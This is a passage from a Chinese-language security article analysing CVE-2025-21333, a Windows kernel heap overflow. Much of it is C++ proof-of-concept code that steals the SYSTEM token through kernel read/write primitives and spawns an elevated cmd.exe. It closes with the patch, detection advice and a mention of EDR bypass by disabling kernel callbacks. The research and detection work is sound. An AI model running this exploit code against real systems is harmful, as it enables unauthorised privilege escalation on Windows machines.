//std::cout << "[*] Npfs!NpFsdCreate: " << std::hex << pNpFsdCreate << std::endl;
std::cout << "[*] base of npfs.sys: " << std::hex << pNpFsdCreate - NPFS_NPFSDCREATE_OFFSET << std::endl;

//get ExAllocatePool2
KRead((PVOID)(pNpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOL2_OFFSET), reinterpret_cast<PBYTE>(&pExAllocatePool2), sizeof(pExAllocatePool2));
//std::cout << "[*] ExAllocatePool2 : " << std::hex << pExAllocatePool2 << std::endl;
std::cout << "[*] base of ntoskrnl.exe: " << std::hex << pExAllocatePool2 - NT_ALLOCATEPOOL2_OFFSET << std::endl;
//std::cout << "[*] system EPROCESS ptr: " << std::hex << pExAllocatePool2 - NT_ALLOCATEPOOL2_OFFSET + NT_INITIALSYSTEMPROCESS_OFFSET << std::endl;
[...]

之后,与许多其他EoP PoC 一样,它通过循环遍历进程链接列表来检索系统进程令牌的地址和当前进程令牌的地址。

[...]
KRead((PVOID)(system_eproc + EPROCESS_TOKEN_OFFSET), reinterpret_cast<PBYTE>(&system_token), sizeof(system_token));
system_token &= 0xfffffffffffffff0;
std::cout << "[*] system TOKEN: " << std::hex << system_token << std::endl;


std::cout << "[*] curpid: " << curpid << std::endl;

cur_eproc = system_eproc;
while (1) {
    //std::cout << "[*] cur_eproc: " << std::hex << cur_eproc << std::endl;
    KRead((PVOID)(cur_eproc + EPROCESS_UNIQUEPROCESSID_OFFSET), reinterpret_cast<PBYTE>(&pid), sizeof(pid));
    //std::cout << "[*] pid: " << pid << std::endl;
    if (pid == curpid) {
        break;
    }
    KRead((PVOID)(cur_eproc + EPROCESS_FLINK_OFFSET), reinterpret_cast<PBYTE>(&cur_eproc), sizeof(cur_eproc));
    cur_eproc -= EPROCESS_FLINK_OFFSET;
}
[...]

最后,它调用KWrite()用系统进程令牌覆盖当前进程令牌,然后生成一个新的 shell。

cur_token_ptr = cur_eproc + EPROCESS_TOKEN_OFFSET;

    KWrite((PVOID)cur_token_ptr, reinterpret_cast<PBYTE>(&system_token), sizeof(system_token));

    system("cmd.exe");
注意: KWrite()的工作方式与KRead()类似,通过设置fake_bufferentry中的TargetAddress和size。

清理

此时,PoC 使用NtUpdateWnfStateData()恢复原始IOP_MC_BUFFER_ENTRY内核指针,然后释放所有分配的资源。

[...]
    //restoring original buffer entry
    regBuffersAddr[0] = reinterpret_cast<IOP_MC_BUFFER_ENTRY*>(original_regBufferEntry);

    result = fNtUpdateWnfStateData(&(regBuffersControllerWNF->state), buffer, WNF_MAX_DATA_SIZE, 0000);
    if (result != 0) {
        std::cout << "fNtUpdateWnfStateData on tokenControllerWNF returned " << std::hex << result << std::endl;
    }

    std::cout << "calling NtUpdateWnfStateData returned successfully" << std::endl;

    //cleanup
    for (int i = 0; i < IORINGS_SIZE; i++) {
        result = CloseIoRing(reinterpret_cast<HIORING>(iorings[i]));
        if (!SUCCEEDED(result)) {
            printf("[-] Failed CloseIoRing: 0x%xn", result);
            return FALSE;
        }
    }

    for (int i = 0; i < SPRAY_PIPE_COUNT; i++) {
        if (!CloseHandle(spray_pipes[i].pipe_read)) {
            std::cout << "CloseHandle failed with error 0x" << std::hex << result << std::endl;
        }
        if (!CloseHandle(spray_pipes[i].pipe_write)) {
            std::cout << "CloseHandle failed with error 0x" << std::hex << result << std::endl;
        }
    }

    for (auto& state : statenames1) {
        result = fNtDeleteWnfStateName(&state);
        if (result != 0) {
            std::cout << "NtDeleteWnfStateName returned " << std::hex << result << std::endl;
        }
    }

    for (auto& state : statenames2) {
        result = fNtDeleteWnfStateName(&state);
        if (result != 0) {
            std::cout << "NtDeleteWnfStateName returned " << std::hex << result << std::endl;
        }
    }

    for (auto& state : statenames3) {
        result = fNtDeleteWnfStateName(&state);
        if (result != 0) {
            std::cout << "NtDeleteWnfStateName returned " << std::hex << result << std::endl;
        }
    }
    //std::cout << Hexdump(buffer, max_corrupted->get()->dataSize) << std::endl << std::endl;

    return0;
}

注意:清理过程应在调用system("cmd.exe")之前执行。

以下是漏洞利用成功时的预期结果。

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

8. 运行PoC并获取系统shell

限制和改进

溢出的大小无法完全控制,但大约为 0xfff0 字节。这意味着如果溢出发生在非分页池区域,有时可能会引发崩溃。调整喷射技术可以帮助缓解此问题。

free-realloc机制并不总是成功的。其他驱动程序可能会在释放和分配操作期间分配相同大小的对象。这可以通过在 while 循环中使用其他损坏的WNF_STATE_DATA对象来部分缓解(0xfff0 溢出允许对许多WNF_STATE_DATA对象进行潜在控制)。希望至少有一次尝试会成功。

PoC 依赖于硬编码偏移量。大多数函数和数据结构内的偏移量都可以从PDB 符号服务器中获取。

补丁分析

微软的补丁在调用ExAllocatePool2()之前引入了溢出检查,如下所述。
CVE-2025-21333 Windows 基于堆的缓冲区溢出分析
9. 补丁前后的漏洞功能
检测:

我建议监视对NtCreateCrossVmEvent()和NtCreateCrossVmMutant()的调用。如果调用指定了一个非 NULL OBJECT_ATTRIBUTES结构,其中包含一个SECURITY_DESCRIPTOR ,其DACL的AclSize ≥ 0xffb0 ,则这可能强烈表明存在漏洞利用尝试。

其他更通用的检测可能涉及注意对CreatePipe() 、 CreateIoRing()或NtCreateWnfStateName() / NtUpdateWnfStateData()的大量调用。这表明可疑进程正在尝试喷射大量对象。

EDR 采用的通用检测方法是观察进程的TOKEN地址是否从非特权用户更改为SYSTEM 。虽然这种检测对于识别上述 PoC 漏洞很有效,但在检测更复杂的威胁行为者时可能不可靠。在内核空间中具有任意读/写原语的攻击者可以通过禁用内核中 EDR 驱动程序注册的所有回调来绕过 EDR 检测。这些技术在EDRSandblast项目中有详细记录。

结论

文章首先对该漏洞进行了分析,并讲解了如何在Windows 11 23H2环境中利用该漏洞,使用I/O Ring技术的变种实现内核空间的任意读/写。

文中讨论了概念验证 (PoC) 的局限性并提出了改进建议。随后,文章回顾了 Microsoft 为解决该问题而应用的补丁。

最后,它提出了检测(并可能防止)利用该漏洞的策略。

参考

  • https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

  • https://www.nccgroup.com/us/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/

  • https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

  • https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a

 

感谢您抽出

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

.

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

.

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

来阅读本文

CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):CVE-2025-21333 Windows 基于堆的缓冲区溢出分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月12日21:44:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2025-21333 Windows 基于堆的缓冲区溢出分析https://cn-sec.com/archives/3831886.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息